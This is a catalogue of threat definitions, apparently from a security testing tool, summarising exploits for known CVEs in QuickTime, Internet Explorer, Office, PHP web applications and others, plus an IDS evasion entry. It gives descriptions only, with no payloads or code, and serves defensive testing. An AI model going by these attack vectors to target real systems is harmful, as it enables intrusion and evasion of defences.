Threat Package:	Standard
Threat File Name:	FSC20090121-20_Apple_QuickTime_VR_Track_Header_Atom_Heap_Corruption.xml
Executive Description:	Apple QuickTime VR Track Header Atom Heap Corruption
Detailed Description:	There exists a heap buffer memory corruption vulnerability in Apple QuickTime. The vulnerability is due to a logic error while processing the "VR Track Header" atoms in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0002
Threat Package:	Standard
Threat File Name:	phpnuke_sqli_b.xml
Executive Description:	PHPNuke "description" field SQL Injection Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. PHPNukie is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3304
OSVDB:	20292
Threat File Name:	sophos_namelen_dos_IPv6.xml
Executive Description:	Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5647
Threat Package:	Standard
Threat File Name:	TSL20141125-05_Adobe_Flash_Player_CVE_2014_8439_Write_What_Where.xml
Executive Description:	Adobe Flash Player CVE-2014-8439 Write-What-Where
Detailed Description:	A write what where vulnerability exists in Adobe Flash Player. The vulnerability is due to a memory corruption when handling ByteArray objects. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2014-8439
OSVDB:	115035
Threat File Name:	ms_vbp_rexec_IPv6.xml
Executive Description:	Microsoft Visual Basic 6.0 VBP_Open Project File Handling Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat delivers a specially crafted Visual Basic Project File (.vbp) that when opened in Microsoft Visual Basic 6.0 will result execution arbitrary code or denial of service. This threat is delivered via HTTP, port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4776
Threat Package:	Standard

Threat File Name:	FSC20090310-10_Microsoft_Windows_Kernel_GDI32_Polyline_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Kernel GDI32 Polyline Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the way that Microsoft Windows GDI component handles Enhanced Metafile (EMF) image files. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious EMF file. Successful exploitation can result in buffer overflow which can lead to arbitrary code execution in kernel mode. In a successful attack case, the malicious code can be executed on the target host. The behaviour of the target depends upon the intention of the attacker. The code will be executed with the Windows kernel privileges. In a case if the attack is not successful, a system level denial-of-service will occur. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0081
Threat Package:	Standard
Threat File Name:	FSC20071211-11_Microsoft_Internet_Explorer_DHTML_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer DHTML Objects Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles switching of page location. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5347
Threat Package:	Standard
Threat File Name:	firefoxPluginsInjection_IPv6.xml
Executive Description:	Firefox Plugins Code Injection (IPv6 Version)
Detailed Description:	This threat attempts to inject code through the embed tag supported by the Mozilla browser. Allows a malicious web page to execute code with the permissions of the web browser. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0752
OSVDB:	15683
Threat Package:	Standard
Threat File Name:	msddsdll.xml
Executive Description:	Microsoft .NET MSDDS.DLL Exploit
Detailed Description:	This attack causes a heap overflow in Microsoft Internet Explorer through the exploitation of a COM object packaged with msdds.dll. This DLL is supplied with some .NET applications and Visual Studio. This attack comes from a webserver, which typically listens on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2127
OSVDB:	19093
Threat Package:	Standard
Threat File Name:	barracuda_disc_IPv6.xml
Executive Description:	Barracuda Email Firewall File Disclosure (IPv6 Version)
Detailed Description:	The Barracuda Email Firewall allows a user to download an arbitrary file off of the appliance. This allows the attacker to read configuration files pertinent to the appliance, including usernames and passwords. The Barracuda management system is web based on port 8000. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2848
Threat Package:	Standard
Threat File Name:	FSC20040720-01_PHP_memory_limit_Vulnerability_IPv6.xml
Executive Description:	PHP memory_limit vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in the way PHP aborts from a memory allocation which exceeds the memory limit. This operation is unsafe during the allocation and initialization of hash table elements. It is possible for an attacker to take control of a memory pointer and execute arbitrary code on the target. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0594
Threat Package:	Standard
Threat File Name:	TSL20170216-04_OpenSSL_Encrypt-Then-Mac_Renegotiation_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL Encrypt-Then-Mac Renegotiation Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. This vulnerability is due to improper handling of the Encrypt-Then-Mac extension during renegotiation. A remote attacker could exploit this vulnerability in an OpenSSL client or server application by sending crafted packets during renegotiation. Successful exploitation results in denial of service conditions on the affected service.
Protocol Type:	TLS, SSL, HTTPS, SMTP, SMTPS, SIPS
CVEID:	CVE-2017-3733
Threat File Name:	FSC20090310-17_Microsoft_WINS_Server_WPAD_Registration_Spoofing_IPv6.xml
Executive Description:	Microsoft WINS Server WPAD Registration Spoofing (IPv6 Version)
Detailed Description:	A spoofing vulnerability exists in Microsoft Windows WINS server. This vulnerability is due to lack of validation of NetBIOS communication names during name registration with the WINS server. Exploiting the vulnerability allows an attacker to register specially treated/trusted names, such as WPAD and ISATAP, and point them to arbitrary addresses. Exploiting this vulnerability could allow a remote unauthenticated attacker to redirect Internet traffic to an attacker controlled host, thereby allowing man-in-the-middle and spoofing attacks. (IPv6 Version)
Protocol Type:	NBNS/IPv6
CVEID:	CVE-2009-0094
Threat Package:	Standard
Threat File Name:	samiftp_bof.xml
Executive Description:	1-2-All Broadcast E-mail /admin/index.php Username Field SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. 1-2-All Broadcast E-mail is a web application that typically listens on port 80.

Protocol Type:	HTTP
CVEID:	CVE-2005-3679
OSVDB:	20949
Threat File Name:	TSL20150715-08_Microsoft_Internet_Explorer_CVE_2015_2401_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2401 Memory Corruption IPv6 version
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2015-2401
Threat File Name:	TSL20070302-05_Mozilla_Browsers_JavaScript_Argument_Passing_Code_Execution_Vulnerability.xml
Executive Description:	Mozilla Browsers JavaScript Argument Passing Code Execution Vulnerability
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The vulnerability is due to an error when processing certain malformed or specially crafted JavaScript code. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the target browser. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection results is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2007-0777
Threat File Name:	phplistpro_cmi_c_IPv6.xml
Executive Description:	phpListPro in.php returnpath Variable Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phpListPro is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	FSC20090114-12_HP_OpenView_Network_Node_Manager_OpenView5_CGI_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager OpenView5 CGI Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The flaw is due to a boundary error when processing HTTP request sent to CGI program OpenView5.exe. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, normally Internet Guest Account.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0067
Threat Package:	Standard
Threat File Name:	FSC20090616-04_CA_ARCserve_Backup_Message_Engine_Denial_of_Service_IPv6.xml
Executive Description:	CA ARCserve Backup Message Engine Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in CA ARCserve Backup Message Engine. The vulnerability is due to insufficient data validation. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. A successful attack could create a denial of service condition to the Message Engine service. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-1761
Threat Package:	Standard
Threat File Name:	eXtremail_v6_plain_auth_bof.xml
Executive Description:	eXtremail <= 2.1.1 PLAIN authentication (v6) Remote Stack Overflow Vulnerability
Detailed Description:	This threat demonstrates a buffer overflow in eXtremail 2.1.1 that results in execution of arbitrary code via a long string in an IMAP AUTHENTICATE PLAIN action. This threat is delivered to the IMAP port 143/tcp.
Protocol Type:	IMAP
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	songbird_dos_IPv6.xml
Executive Description:	Songbird Media Player <= 0.2 Format String Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious M3U file to cause a denial of service condition in vulnerable Songbird Media Player software. Songbird Media Player is a client application that typically retrieves M3U files from web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081014-20_Microsoft_Excel_VisualBasic_Object_Validation_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel VisualBasic Object Validation Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is due to improper parsing of Excel documents containing specially crafted ActiveX objects. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3477
Threat Package:	Standard
Threat File Name:	TSL20140203-01_MW6_Technologies_MaxiCode_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	MW6 Technologies MaxiCode ActiveX Control Buffer Overflow(IPv6 Version)

Detailed Description:	A buffer overflow vulnerability exists in MW6 Technologies MaxiCode ActiveX Control. The vulnerability is due to improperly handled user input in the 'Data' parameter. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the affected user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6040
OSVDB:	102323
Threat File Name:	FSC20090812-01_Digium_Asterisk_SIP_sscaanf_Multiple_Denial_of_Service_Vulnerabilities.xml
Executive Description:	Digium Asterisk SIP sscaanf Multiple Denial of Service Vulnerabilities
Detailed Description:	A denial of service vulnerability has been reported in Asterisk SIP Channel Driver. The vulnerability is due to insufficient input validation when processing maliciously crafted SIP requests. Remote authenticated attackers could exploit this vulnerability by crafting SIP requests that contain excessively long numeric strings. Successful exploitation could result in a denial of service condition.
Protocol Type:	SIP
CVEID:	CVE-2009-2726
Threat Package:	VoIP
Threat File Name:	ravware_activex_bof.xml
Executive Description:	RavWare Software MAS Flic Control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in RavWare Software MAS Flic ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6516
Threat Package:	Standard
Threat File Name:	FSC20080721-07_Sun_Java_Web_Start_JNLP_vm_args_Stack_Overflow_IPv6.xml
Executive Description:	Sun Java Web Start JNLP vm args Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Sun Java Web Start. The vulnerability is due to improper bound checking while handling XML based JNLP files. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a crafted JNLP file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3111
Threat Package:	Standard
Threat File Name:	TSL20130610-01_IBM_Lotus_Quickr_qp2_cab_ActiveX_Control_Integer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Quickr qp2.cab ActiveX Control Integer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM Lotus Quickr for Domino. The vulnerability is due to an integer overflow within the qp2.cab ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-3026
OSVDB:	94068
Threat File Name:	javaprxv_IPv6.xml
Executive Description:	Javaprxv.dll Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to bind a shell. This is caused by a flaw in the javaprxv.dll COM object which comes with certain releases of Microsoft Windows. This attack comes from the web server, and typically occurs over port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2087
OSVDB:	17680
Threat Package:	Standard
Threat File Name:	TSL20150226-02_Eclipse_Foundation_Jetty_Web_Server_HttpParser_Remote_Information_Disclosure_IPv6.xml
Executive Description:	Eclipse Foundation Jetty Web Server HttpParser Remote Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in Eclipse Foundation Jetty Web Server. The vulnerability is due to improper parsing of HTTP requests that can lead to information disclosure via HTTP responses from the server. A remote unauthenticated attacker can exploit this vulnerability by sending HTTP requests containing illegal characters within multiple fields to the vulnerable server. Successful exploitation of the vulnerability will result in disclosing information from the previous requests sent to the server. Tester should set variable \$destPort to 80 or 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-2080
OSVDB:	118744
Threat File Name:	FSC20070508-17_Microsoft_Excel_BIFF_File_Format_Named_Graph_Record_Parsing_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Excel BIFF File Format Named Graph Record Parsing Stack Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient boundary checking while processing Named Graph Record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0215
Threat Package:	Standard
Threat File Name:	TSL20150223-06_Dell_ScriptLogic_Asset_Manager_GetClientPackage_SQL_Injection.xml
Executive Description:	Dell ScriptLogic Asset Manager GetClientPackage SQL Injection.
Detailed Description:	An SQL Injection vulnerability exists in Dell ScriptLogic Asset Manager. The vulnerability is due to insufficient input validation while processing requests to GetClientPackage.aspx. By sending crafted HTTP requests, a unauthenticated, remote attacker can exploit this vulnerability to execute code under the security context of the Network Service account.

Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1605
OSVDB:	118627
Threat File Name:	snortByPassURI_IPv6.xml
Executive Description:	Snort URI Bypass Attempt (IPv6 Version)
Detailed Description:	This threat attempts to bypass the snort URI parser by inserting a carriage return after the URL of the HTTP request. This is a valid HTTP .9 request. The threat sent is the awstats vulnerability. Snort doesn't see it. This attack is targeted at a vulnerable webservice, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2769
OSVDB:	25837
Threat Package:	Standard
Threat File Name:	FSC20090512-03_Microsoft_Office_PowerPoint_Legacy_File_Format_Code_Execution.xml
Executive Description:	Microsoft Office PowerPoint Legacy File Format Code Execution
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a boundary error when processing crafted legacy PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted legacy PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0220
Threat Package:	Standard
Threat File Name:	TSL20130409-07_Microsoft_Windows_Remote_Desktop_Client_ActiveX_Control_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Windows Remote Desktop Client ActiveX Control Use After Free(IPv6 version)
Detailed Description:	A code execution vulnerability exists in the Microsoft Remote Desktop Client ActiveX control mstscax.dll. The vulnerability is due to a use-after-free error when handling specially crafted HTML web pages. This vulnerability can be exploited by remote attackers by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-1296
OSVDB:	92122
Threat File Name:	TSL20160204-04_Oracle_Application_Testing_Suite_ReportImage_tempfilename_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite ReportImage tempfilename Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation in the Oracle Test Manager component while processing the HTTP request parameter <i><tempfilenameA remote, authenticated attacker could exploit this vulnerability by sending a maliciously crafted request to the vulnerable server. Successful exploitation leads to arbitrary file uploads, system modifications and possibly code execution under the security context of SYSTEM. (In combination with other vulnerabilities, the user authentication requirement can be bypassed.)</i>
Protocol Type:	HTTP
CVEID:	CVE-2016-0489
Threat File Name:	care2x_rfi_IPv6.xml
Executive Description:	CARE2X (root_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CARE2X is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1458
Threat File Name:	FSC20100420-01_RealNetworks_Helix_Server_NTLM_Authentication_Heap_Overflow_IPv6.xml
Executive Description:	RealNetworks Helix Server NTLM Authentication Heap Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in RealNetworks Helix Server products. The flaw is due to an error when handling Base64-encoded NTLM Authentication data. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2010-1317
Threat Package:	Standard
Threat File Name:	nimda7_IPv6.xml
Executive Description:	Nimda Request URL 7 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FragmentZeroLength.xml
Executive Description:	Zero Length Fragment Attack
Detailed Description:	This threat sends three fragments comprising one IP packet. The second fragment falls inside the boundaries set by the first, and is of zero length. The third fragment represents the ending portion of the packet. This attack can result in older Linux kernels to lose their network connectivity by using up all available routing cache memory.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	FSC20090908-08_Microsoft_Windows_DHTML_Editing_Component_ActiveX_Control_Code_Execution.xml
Executive Description:	Microsoft Windows DHTML Editing Component ActiveX Control Code Execution

Detailed Description:	A memory corruption vulnerability exists in the DHTML Editing Component ActiveX Control on Microsoft Windows. The vulnerability is due to insufficient validation of malicious input processed by the control. Remote attackers can exploit this vulnerability by enticing a target user to visit a specially crafted page. Successful exploitation of this vulnerability would result in arbitrary code execution. If code execution is not successful, Internet Explorer will terminate as a result of memory corruption.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2519
Threat Package:	Standard
Threat File Name:	maplap_rfi.xml
Executive Description:	MapTools MapLab Params.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MapTools is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pblang_rfi.xml
Executive Description:	PBLang Lang_NL.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PBLang is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5062
OSVDB:	29156
Threat Package:	Standard
Threat File Name:	TSL20160810-08_Trend_Micro_Control_Manager_ProductTree_Information_Disclosure.xml
Executive Description:	Trend Micro Control Manager ProductTree Information Disclosure
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS
CVEID:	CVE-2016-6220
Threat File Name:	TSL20140130-08_EMCCMCNE_inmservlets_war_FileUploadController_Arbitrary_File_Upload.xml
Executive Description:	EMC CMCNE inmservlets.war FileUploadController Arbitrary File Upload
Detailed Description:	A code execution vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the FileUploadController servlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
Threat File Name:	FSC20070612-08_Microsoft_Visio_Version_Number_Handling_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Visio Version Number Handling Code Execution Vulnerability (IPv6 Version)
Detailed Description:	A remote code-execution vulnerability exists in the way Microsoft Visio processes files. The vulnerability is due to insufficient validating of user-supplied data while processing Version Number. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0934
Threat Package:	Standard
Threat File Name:	proxy_hunt1.xml
Executive Description:	Proxy Connection
Detailed Description:	This threat attempts to cause a HTTP server to connect via proxy to the Imperfect Networks website. Depending on the network configuration setup, this might allow an attacker to use the machine as an anonymous proxy.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080311-14_Microsoft_Office_Drawing_Shapes_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Office Drawing Shapes Handling Memory Corruption
Detailed Description:	There exists a code execution vulnerability in Microsoft Office. The vulnerability is due to improper parsing of the Shapes in the Office document. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Office file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the office application used to open the document will terminate, resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0118
Threat Package:	Standard
Threat File Name:	FSC20081209-27_Microsoft_Internet_Explorer_ActiveX_Navigate_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer ActiveX Navigate Handling Code Execution (IPv6 Version)

Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of ActiveX controls which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application would terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4258
Threat Package:	Standard
Threat File Name:	TSL20160812-02_FreePBX_Framework_Recordings_Module_Remote_Command_Execution.xml
Executive Description:	FreePBX Framework Recordings Module Remote Command Execution
Detailed Description:	A remote command execution vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the Recordings module. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the Asterisk user.
Protocol Type:	HTTP
Threat File Name:	TSL20160630-11_WECON_LeviStudio_CurScrIDAddr_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	WECON LeviStudio CurScrIDAddr Stack Buffer Overflow (IPv6 version)
Detailed Description:	A stack buffer overflow has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of BaseSet CurScrIDAddr XML attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to visit a malicious web page or open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP, IPv6
Threat File Name:	nimda5_IPv6.xml
Executive Description:	Nimda Request URL 5 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100419-01_Multiple_Vendors_AgentX_receive_agentx_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Multiple Vendors AgentX receive_agentx Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in multiple products that use the AgentX++ software. The vulnerability is due to a boundary error in AgentX::receive_agentx function. A remote unauthenticated attacker can exploit this vulnerability by sending multiple blocks of data to the target server on port 705/TCP. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server, normally SYSTEM. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	AgentX/IPv6
CVEID:	CVE-2010-1318
Threat Package:	Standard
Threat File Name:	FSC20060629-09_Apple_iTunes_AAC_File_Handling_Integer_Overflow.xml
Executive Description:	Apple iTunes AAC File Handling Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Apple iTunes. The vulnerability is caused due to improper handling the sample table size atom (STSZ) when processing AAC media files. An attacker may exploit the vulnerability by delivering a crafted AAC media file to a target user and enticing the user to open it, resulting in execution of arbitrary code on the target host within the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1467
Threat Package:	Standard
Threat File Name:	TSL20131016-20_HP_Intelligent_Management_Center_BIMS_bimsDownload_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center BIMS bimsDownload Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the BIMS add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the bimsDownload servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4823
OSVDB:	98248
Threat File Name:	FSC20100413-24_Microsoft_Windows_SMB_Client_Transaction_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SMB Client Transaction Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain fields when handling SMB transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2010-0270
Threat Package:	Standard
Threat File Name:	TSL20170110-04_Microsoft_Edge_document.domain_Same_Origin_Policy_Bypass_IPv6.xml
Executive Description:	Microsoft Edge document.domain Same Origin Policy Bypass (IPv6 Version)
Detailed Description:	A policy bypass vulnerability has been reported in Microsoft Edge. This vulnerability is due improper enforcement of cross-domain policies with pages that have an empty document.domain property. A remote attacker could exploit this vulnerability by enticing a user to visit a maliciously crafted web-page. Successful exploitation of this vulnerability would allow an attacker to bypass the same origin policy and disclose sensitive information.

Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2017-0002
Threat File Name:	ie7_jpg_xss_IPv6.xml
Executive Description:	IE7 Malformed Image XSS (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer 7 and 6 to execute javascript nested inside of a malformed image. This can allow malicious hackers to poison websites where users are allowed to upload pictures. This attack would come from a webserver on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090609-35_Microsoft_Office_Word_Malformed_File_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Word Malformed File Processing Buffer Overflow (IPv6 Version)
